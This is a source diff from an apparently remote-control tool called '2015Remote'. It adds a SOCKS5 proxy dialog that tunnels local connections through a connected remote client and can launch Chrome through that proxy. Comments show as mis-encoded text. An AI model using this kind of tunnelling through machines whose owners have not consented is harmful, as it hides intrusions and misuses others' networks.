int IsOverMaxConnectionCount();
virtual EnHandleResult OnPrepareListen(ITcpServer* pSender, SOCKET soListen);
virtual EnHandleResult OnAccept(ITcpServer* pSender, CONNID dwConnID, UINT_PTR soClient);
virtual EnHandleResult OnSend(ITcpServer* pSender, CONNID dwConnID, const BYTE* pData, int iLength);
virtual EnHandleResult OnReceive(ITcpServer* pSender, CONNID dwConnID, int iLength);
virtual EnHandleResult OnClose(ITcpServer* pSender, CONNID dwConnID, EnSocketOperation enOperation, int iErrorCode);
virtual EnHandleResult OnShutdown(ITcpServer* pSender);
CTcpPullServerPtr m_TcpServer;
private:
NOTIFYPROC m_pNotifyProc;
void* m_pUser;
ContextList m_listFreePool;
CLock m_Locker;
int m_nPort; // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD>
CONNID m_IDs[65535]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID
LONG m_bStop; // <20>˿<EFBFBD>ֹͣ<CDA3><D6B9><EFBFBD>߿<EFBFBD><DFBF><EFBFBD>
int m_nMaxConnection; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL m_bIsRun; // <20><><EFBFBD><EFBFBD>״̬
DWORD m_dwIndex; // <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>
};

View File

@@ -0,0 +1,309 @@
// ProxyMapDlg.cpp : implementation file
//
#include "stdafx.h"
#include "2015Remote.h"
#include "ProxyMapDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
/////////////////////////////////////////////////////////////////////////////
// CProxyMapDlg dialog
#define IDM_PROXY_CHROME 8000
CProxyMapDlg::CProxyMapDlg(CWnd* pParent, ISocketBase* pIOCPServer, ClientContext* pContext)
: CDialog(CProxyMapDlg::IDD, pParent)
{
m_iocpServer = pIOCPServer;
m_ContextObject = pContext;
m_iocpLocal = NULL;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_Proxifier));
m_bIsClose = false;
}
void CProxyMapDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT, m_Edit);
DDX_Control(pDX, IDC_EDIT_OTHER, m_EditOther);
}
BEGIN_MESSAGE_MAP(CProxyMapDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_SIZE()
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
BOOL CProxyMapDlg::OnInitDialog()
{
CDialog::OnInitDialog();
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
m_iocpLocal = new CProxyConnectServer;
if (m_iocpLocal == NULL) {
return FALSE;
}
m_Edit.SetLimitText(MAXDWORD);
m_EditOther.SetLimitText(MAXDWORD);
CString str;
// <20><><EFBFBD><EFBFBD>IPCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_nPort = 5543;
if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) {
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
return FALSE;
}
TCHAR ip[256] = {};
int len = sizeof(ip);
m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort);
CString strString;
sockaddr_in ClientAddress;
memset(&ClientAddress, 0, sizeof(ClientAddress));
int iClientAddressLength = sizeof(ClientAddress);
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
SetWindowText(strString);
str.Format(_T("SOCKS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><C3B7><EFBFBD><EFBFBD><EFBFBD>Ϊ: <127.0.0.1:%d>\r\n"), m_nPort);
AddLog(str.GetBuffer(0));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_PROXY_CHROME, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Chrome(<28><><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD>Chrome<6D><65><EFBFBD><EFBFBD>)(&P)"));
}
return TRUE;
}
void CProxyMapDlg::OnCancel()
{
if (m_bIsClose) return;
m_bIsClose = true;
m_iocpServer->Disconnect(m_ContextObject);
DestroyIcon(m_hIcon);
m_iocpLocal->Shutdown();
SAFE_DELETE(m_iocpLocal);
CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket);
Sleep(50);
if (IsWindow(m_hWnd))
DestroyWindow();
}
void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT nCode)
{
CProxyMapDlg* g_pProxyMap = (CProxyMapDlg*)user;
if (g_pProxyMap->m_bIsClose) return;
DWORD index = pContext->ID;
TCHAR szMsg[200] = { 0 };
try {
switch (nCode) {
case NC_CLIENT_CONNECT:
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\r\n"), index);
break;
case NC_CLIENT_DISCONNECT:
if (pContext->m_bProxyConnected) {
BYTE lpData[5] = "";
lpData[0] = COMMAND_PROXY_CLOSE;
memcpy(lpData + 1, &index, sizeof(DWORD));
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, lpData, 5);
}
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӶϿ<D3B6>\r\n"), index);
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
if (pContext->m_bProxyConnected == 2) {
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
pContext->InDeCompressedBuffer.GetBufferLength());
wsprintf(szMsg, _T("%d <==<3D><> %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
} else if (pContext->m_bProxyConnected == 0) {
char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
pContext->m_bProxyConnected = 1;
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok));
wsprintf(szMsg, _T("%d <20><><EFBFBD>ر<EFBFBD>ʾ %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
} else if (pContext->m_bProxyConnected == 1) {
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
BYTE buf[11] = {};
if (lpData[0] == 5 && lpData[1] == 1 && (pContext->InDeCompressedBuffer.GetBufferLength() > 10)) {
if (lpData[3] == 1) { // ipv4
buf[0] = COMMAND_PROXY_CONNECT; // 1<><31><EFBFBD>ֽ<EFBFBD> ip v4 <20><><EFBFBD><EFBFBD>
memcpy(buf + 1, &index, 4); // <20>ĸ<EFBFBD><C4B8>ֽ<EFBFBD> <20>׽<EFBFBD><D7BD>ֵı<D6B5><C4B1><EFBFBD>
memcpy(buf + 5, lpData + 4, 6); // 4<>ֽ<EFBFBD>ip 2<>ֽڶ˿<DAB6>
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
in_addr inaddr = {};
inaddr.s_addr = *(DWORD*)(buf + 5);
char szmsg1[MAX_PATH];
wsprintfA(szmsg1, "%d IPV4 <20><><EFBFBD><EFBFBD> %s:%d...\r\n", index, inet_ntoa(inaddr), ntohs(*(USHORT*)(buf + 9)));
} else if (lpData[3] == 3) { // <20><><EFBFBD><EFBFBD>
Socks5Info* Socks5Request = (Socks5Info*)lpData;
BYTE* HostName = new BYTE[Socks5Request->IP_LEN + 8];
ZeroMemory(HostName, Socks5Request->IP_LEN + 8);
HostName[0] = COMMAND_PROXY_CONNECT_HOSTNAME;
memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN);
memcpy(HostName + 1, &index, 4);
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
SAFE_DELETE_ARRAY(HostName);
wsprintf(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> %d \r\n"), index);
} else if (lpData[3] == 4) { //ipv6
char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support
wsprintf(szMsg, _T("%d IPV6<56><36><EFBFBD><EFBFBD> <20><>֧<EFBFBD><D6A7>..."), index);
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok));
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
break;
}
} else {
buf[0] = 5;
buf[1] = 7;
buf[2] = 0;
buf[3] = lpData[3];
g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf));
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>, <20>Ͽ<EFBFBD> %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
}
}
break;
}
} catch (...) {}
if (szMsg[0])
g_pProxyMap->AddLog_other(szMsg);
return;
}
void CProxyMapDlg::OnReceive()
{
}
void CProxyMapDlg::OnReceiveComplete()
{
if (m_iocpLocal == NULL)
return;
if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClose)
return;
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
DWORD index = *(DWORD*)&buf[1];
TCHAR szMsg[200];
switch (buf[0]) {
case TOKEN_PROXY_CONNECT_RESULT: {
char msg_request_co_ok[] = { 0X05, 0X00, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // Request connect OK
BYTE sendbuf[10] = "";
sendbuf[0] = 5;
sendbuf[1] = (buf[9] || buf[10]) ? 0 : 5;
sendbuf[2] = 0;
sendbuf[3] = 1;
memcpy(&sendbuf[4], &buf[5], 6);
ClientContext* pContext_proxy = NULL;
if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
if (sendbuf[1] == 0) {
pContext_proxy->m_bProxyConnected = 2;
wsprintf(szMsg, _T("%d <20><><EFBFBD>ӳɹ<D3B3>\r\n"), index);
} else
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>\r\n"), index);
m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf));
AddLog(szMsg);
}
}
break;
case TOKEN_PROXY_BIND_RESULT:
break;
case TOKEN_PROXY_CLOSE: {
wsprintf(szMsg, _T("%d TOKEN_PROXY_CLOSE\r\n"), index);
m_iocpLocal->Disconnect(index);
AddLog(szMsg);
}
break;
case TOKEN_PROXY_DATA: {
ClientContext* pContext_proxy = NULL;
BOOL ok = FALSE;
if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
ok = m_iocpLocal->Send(pContext_proxy, &buf[5], m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
if (ok == FALSE) {
wsprintf(szMsg, _T("%d TOKEN_PROXY_CLOSE\r\n"), index);
m_iocpLocal->Disconnect(index);
AddLog(szMsg);
return;
}
wsprintf(szMsg, _T("%d ==><3E><> %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
AddLog(szMsg);
}
}
break;
default:
// <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>
break;
}
}
void CProxyMapDlg::AddLog(TCHAR* lpText)
{
if (m_bIsClose == TRUE) return;
m_Edit.SetSel(-1, -1);
m_Edit.ReplaceSel(lpText);
}
void CProxyMapDlg::AddLog_other(TCHAR* lpText)
{
if (m_bIsClose == TRUE) return;
m_EditOther.SetSel(-1, -1);
m_EditOther.ReplaceSel(lpText);
}
void CProxyMapDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if (!IsWindowVisible())
return;
RECT rectClient;
RECT rectEdit = {};
GetClientRect(&rectClient);
rectEdit.left = 0;
rectEdit.top = 0;
rectEdit.right = rectClient.right;
rectEdit.bottom = rectClient.bottom;
m_Edit.MoveWindow(&rectEdit);
}
void CProxyMapDlg::PostNcDestroy()
{
if (!m_bIsClose)
OnCancel();
CDialog::PostNcDestroy();
delete this;
}
void CProxyMapDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
switch (nID) {
case IDM_PROXY_CHROME: {
CString strCommand;
strCommand.Format(_T(" /c start chrome.exe --show-app-list --proxy-server=\"SOCKS5://127.0.0.1:%d\""), m_nPort);
ShellExecute(NULL, _T("open"), _T("cmd.exe"), strCommand, NULL, SW_SHOW);
}
break;
}
CDialog::OnSysCommand(nID, lParam);
}

View File

@@ -0,0 +1,64 @@
#pragma once
#include "stdafx.h"
#include "ProxyConnectServer.h"
#include "Resource.h"
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "HPSocket_x64D.lib")
#else
#pragma comment(lib, "HPSocket_x64.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "HPSocket_D.lib")
#else
#pragma comment(lib, "HPSocket.lib")
#endif
#endif
/////////////////////////////////////////////////////////////////////////////
// CProxyMapDlg dialog
typedef struct {
BYTE Ver; // Version Number
BYTE CMD; // 0x01==TCP CONNECT,0x02==TCP BIND,0x03==UDP ASSOCIATE
BYTE RSV;
BYTE ATYP;
BYTE IP_LEN;
BYTE szIP;
} Socks5Info;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: curl --socks5 127.0.0.1:5543 https://www.example.com
class CProxyMapDlg : public CDialog
{
public:
CProxyMapDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
enum { IDD = IDD_PROXY };
static void CALLBACK NotifyProc(void* user, ClientContext* pContext, UINT nCode);
void OnReceiveComplete();
void OnReceive();
void AddLog(TCHAR* lpText);
void AddLog_other(TCHAR* lpText);
virtual void DoDataExchange(CDataExchange* pDX);
virtual void PostNcDestroy();
virtual void OnCancel();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
DECLARE_MESSAGE_MAP()
private:
ClientContext* m_ContextObject;
ISocketBase* m_iocpServer;
CProxyConnectServer* m_iocpLocal;
HICON m_hIcon;
bool m_bIsClose;
CEdit m_Edit;
USHORT m_nPort;
CEdit m_EditOther;
};

File diff suppressed because it is too large Load Diff

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 KiB

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 822 B

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 822 B

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 774 B

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

View File

@@ -83,6 +83,7 @@
#define WM_HANDLEMESSAGE WM_USER+3011 #define WM_HANDLEMESSAGE WM_USER+3011
#define WM_OPENKEYBOARDDIALOG WM_USER+3012 #define WM_OPENKEYBOARDDIALOG WM_USER+3012
#define WM_UPXTASKRESULT WM_USER+3013 #define WM_UPXTASKRESULT WM_USER+3013
#define WM_OPENPROXYDIALOG WM_USER+3014
enum enum
{ {
@@ -96,7 +97,8 @@ enum
SERVICES_DLG, SERVICES_DLG,
REGISTER_DLG, REGISTER_DLG,
TALK_DLG, TALK_DLG,
MONITOR_DLG MONITOR_DLG,
PROXY_DLG,
}; };

7343
server/2015Remote/xxhash.h Normal file

File diff suppressed because it is too large Load Diff